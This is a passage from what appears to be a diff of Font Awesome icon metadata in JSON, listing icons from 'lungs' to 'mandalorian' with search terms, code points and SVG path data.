32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z" + } + }, + "free": [ + "solid" + ] + }, + "lungs": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [ + "air", + "breath", + "covid-19", + "organ", + "respiratory" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f604", + "label": "Lungs", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635585, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M636.11 390.15C614.44 308.85 580.07 231 534.1 159.13 511.98 124.56 498.03 96 454.05 96 415.36 96 384 125.42 384 161.71v60.11l-32.88-21.92a15.996 15.996 0 0 1-7.12-13.31V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v170.59c0 5.35-2.67 10.34-7.12 13.31L256 221.82v-60.11C256 125.42 224.64 96 185.95 96c-43.98 0-57.93 28.56-80.05 63.13C59.93 231 25.56 308.85 3.89 390.15 1.3 399.84 0 409.79 0 419.78c0 61.23 62.48 105.44 125.24 88.62l59.5-15.95c42.18-11.3 71.26-47.47 71.26-88.62v-87.49l-85.84 57.23a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09L320 235.23l167.59 111.72a7.994 7.994 0 0 1 2.22 11.09l-8.88 13.31a7.994 7.994 0 0 1-11.09 2.22L384 316.34v87.49c0 41.15 29.08 77.31 71.26 88.62l59.5 15.95C577.52 525.22 640 481.01 640 419.78c0-9.99-1.3-19.94-3.89-29.63z" + } + }, + "free": [ + "solid" + ] + }, + "lungs-virus": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "breath", + "covid-19", + "respiratory", + "sick" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e067", + "label": "Lungs Virus", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635585, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M344,150.68V16A16,16,0,0,0,328,0H312a16,16,0,0,0-16,16V150.68a46.45,46.45,0,0,1,48,0ZM195.54,444.46a48.06,48.06,0,0,1,0-67.88l8.58-8.58H192a48,48,0,0,1,0-96h12.12l-8.58-8.57a48,48,0,0,1,60.46-74V161.75C256,125.38,224.62,96,186,96c-44,0-58,28.5-80.12,63.13a819.52,819.52,0,0,0-102,231A113.16,113.16,0,0,0,0,419.75C0,481,62.5,525.26,125.25,508.38l59.5-15.87a98.51,98.51,0,0,0,52.5-34.75,46.49,46.49,0,0,1-41.71-13.3Zm226.29-22.63a16,16,0,0,0,0-22.62l-8.58-8.58C393.09,370.47,407.37,336,435.88,336H448a16,16,0,0,0,0-32H435.88c-28.51,0-42.79-34.47-22.63-54.62l8.58-8.58a16,16,0,0,0-22.63-22.63l-8.57,8.58C370.47,246.91,336,232.63,336,204.12V192a16,16,0,0,0-32,0v12.12c0,28.51-34.47,42.79-54.63,22.63l-8.57-8.58a16,16,0,0,0-22.63,22.63l8.58,8.58c20.16,20.15,5.88,54.62-22.63,54.62H192a16,16,0,0,0,0,32h12.12c28.51,0,42.79,34.47,22.63,54.63l-8.58,8.58a16,16,0,1,0,22.63,22.62l8.57-8.57C269.53,393.1,304,407.38,304,435.88V448a16,16,0,0,0,32,0V435.88c0-28.5,34.47-42.78,54.63-22.62l8.57,8.57a16,16,0,0,0,22.63,0ZM288,304a16,16,0,1,1,16-16A16,16,0,0,1,288,304Zm64,64a16,16,0,1,1,16-16A16,16,0,0,1,352,368Zm284.12,22.13a819.52,819.52,0,0,0-102-231C512,124.5,498,96,454,96c-38.62,0-70,29.38-70,65.75v27.72a48,48,0,0,1,60.46,74L435.88,272H448a48,48,0,0,1,0,96H435.88l8.58,8.58a47.7,47.7,0,0,1-41.71,81.18,98.51,98.51,0,0,0,52.5,34.75l59.5,15.87C577.5,525.26,640,481,640,419.75A113.16,113.16,0,0,0,636.12,390.13Z" + } + }, + "free": [ + "solid" + ] + }, + "lyft": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c3", + "label": "lyft", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861004, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M0 81.1h77.8v208.7c0 33.1 15 52.8 27.2 61-12.7 11.1-51.2 20.9-80.2-2.8C7.8 334 0 310.7 0 289V81.1zm485.9 173.5v-22h23.8v-76.8h-26.1c-10.1-46.3-51.2-80.7-100.3-80.7-56.6 0-102.7 46-102.7 102.7V357c16 2.3 35.4-.3 51.7-14 17.1-14 24.8-37.2 24.8-59v-6.7h38.8v-76.8h-38.8v-23.3c0-34.6 52.2-34.6 52.2 0v77.1c0 56.6 46 102.7 102.7 102.7v-76.5c-14.5 0-26.1-11.7-26.1-25.9zm-294.3-99v113c0 15.4-23.8 15.4-23.8 0v-113H91v132.7c0 23.8 8 54 45 63.9 37 9.8 58.2-10.6 58.2-10.6-2.1 13.4-14.5 23.3-34.9 25.3-15.5 1.6-35.2-3.6-45-7.8v70.3c25.1 7.5 51.5 9.8 77.6 4.7 47.1-9.1 76.8-48.4 76.8-100.8V155.1h-77.1v.5z" + } + }, + "free": [ + "brands" + ] + }, + "magento": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3c4", + "label": "Magento", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861004, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M445.7 127.9V384l-63.4 36.5V164.7L223.8 73.1 65.2 164.7l.4 255.9L2.3 384V128.1L224.2 0l221.5 127.9zM255.6 420.5L224 438.9l-31.8-18.2v-256l-63.3 36.6.1 255.9 94.9 54.9 95.1-54.9v-256l-63.4-36.6v255.9z" + } + }, + "free": [ + "brands" + ] + }, + "magic": { + "changes": [ + "2", + "5.0.0", + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "autocomplete", + "automatic", + "mage", + "magic", + "spell", + "wand", + "witch", + "wizard" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0d0", + "label": "magic", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635586, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M224 96l16-32 32-16-32-16-16-32-16 32-32 16 32 16 16 32zM80 160l26.66-53.33L160 80l-53.34-26.67L80 0 53.34 53.33 0 80l53.34 26.67L80 160zm352 128l-26.66 53.33L352 368l53.34 26.67L432 448l26.66-53.33L512 368l-53.34-26.67L432 288zm70.62-193.77L417.77 9.38C411.53 3.12 403.34 0 395.15 0c-8.19 0-16.38 3.12-22.63 9.38L9.38 372.52c-12.5 12.5-12.5 32.76 0 45.25l84.85 84.85c6.25 6.25 14.44 9.37 22.62 9.37 8.19 0 16.38-3.12 22.63-9.37l363.14-363.15c12.5-12.48 12.5-32.75 0-45.24zM359.45 203.46l-50.91-50.91 86.6-86.6 50.91 50.91-86.6 86.6z" + } + }, + "free": [ + "solid" + ] + }, + "magnet": { + "changes": [ + "1", + "5.0.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [ + "Attract", + "lodestone", + "tool" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f076", + "label": "magnet", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635586, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M164.07 148.1H12a12 12 0 0 1-12-12v-80a36 36 0 0 1 36-36h104a36 36 0 0 1 36 36v80a11.89 11.89 0 0 1-11.93 12zm347.93-12V56a36 36 0 0 0-36-36H372a36 36 0 0 0-36 36v80a12 12 0 0 0 12 12h152a11.89 11.89 0 0 0 12-11.9zm-164 44a12 12 0 0 0-12 12v52c0 128.1-160 127.9-160 0v-52a12 12 0 0 0-12-12H12.1a12 12 0 0 0-12 12.1c.1 21.4.6 40.3 0 53.3 0 150.6 136.17 246.6 256.75 246.6s255-96 255-246.7c-.6-12.8-.2-33 0-53.2a12 12 0 0 0-12-12.1z" + } + }, + "free": [ + "solid" + ] + }, + "mail-bulk": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "envelope", + "letter", + "post office", + "postal", + "postcard", + "send", + "stamp", + "usps" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f674", + "label": "Mail Bulk", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635586, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M160 448c-25.6 0-51.2-22.4-64-32-64-44.8-83.2-60.8-96-70.4V480c0 17.67 14.33 32 32 32h256c17.67 0 32-14.33 32-32V345.6c-12.8 9.6-32 25.6-96 70.4-12.8 9.6-38.4 32-64 32zm128-192H32c-17.67 0-32 14.33-32 32v16c25.6 19.2 22.4 19.2 115.2 86.4 9.6 6.4 28.8 25.6 44.8 25.6s35.2-19.2 44.8-22.4c92.8-67.2 89.6-67.2 115.2-86.4V288c0-17.67-14.33-32-32-32zm256-96H224c-17.67 0-32 14.33-32 32v32h96c33.21 0 60.59 25.42 63.71 57.82l.29-.22V416h192c17.67 0 32-14.33 32-32V192c0-17.67-14.33-32-32-32zm-32 128h-64v-64h64v64zm-352-96c0-35.29 28.71-64 64-64h224V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v192h96v-32z" + } + }, + "free": [ + "solid" + ] + }, + "mailchimp": { + "changes": [ + "5.1.0", + "5.7.0", + "5.8.0", + "5.8.2" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f59e", + "label": "Mailchimp", + "voted": true, + "svg": { + "brands": { + "last_modified": 1563977084863, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z" + } + }, + "free": [ + "brands" + ] + }, + "male": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "human", + "man", + "person", + "profile", + "user" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f183", + "label": "Male", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635587, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 192 512\"><path d=\"M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z\"/></svg>", + "viewBox": [ + "0", + "0", + "192", + "512" + ], + "width": 192, + "height": 512, + "path": "M96 0c35.346 0 64 28.654 64 64s-28.654 64-64 64-64-28.654-64-64S60.654 0 96 0m48 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H48c-26.51 0-48 21.49-48 48v136c0 13.255 10.745 24 24 24h16v136c0 13.255 10.745 24 24 24h64c13.255 0 24-10.745 24-24V352h16c13.255 0 24-10.745 24-24V192c0-26.51-21.49-48-48-48z" + } + }, + "free": [ + "solid" + ] + }, + "mandalorian": { + "changes": [ + "5.0.12", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f50f", + "label": "Mandalorian", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775903, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 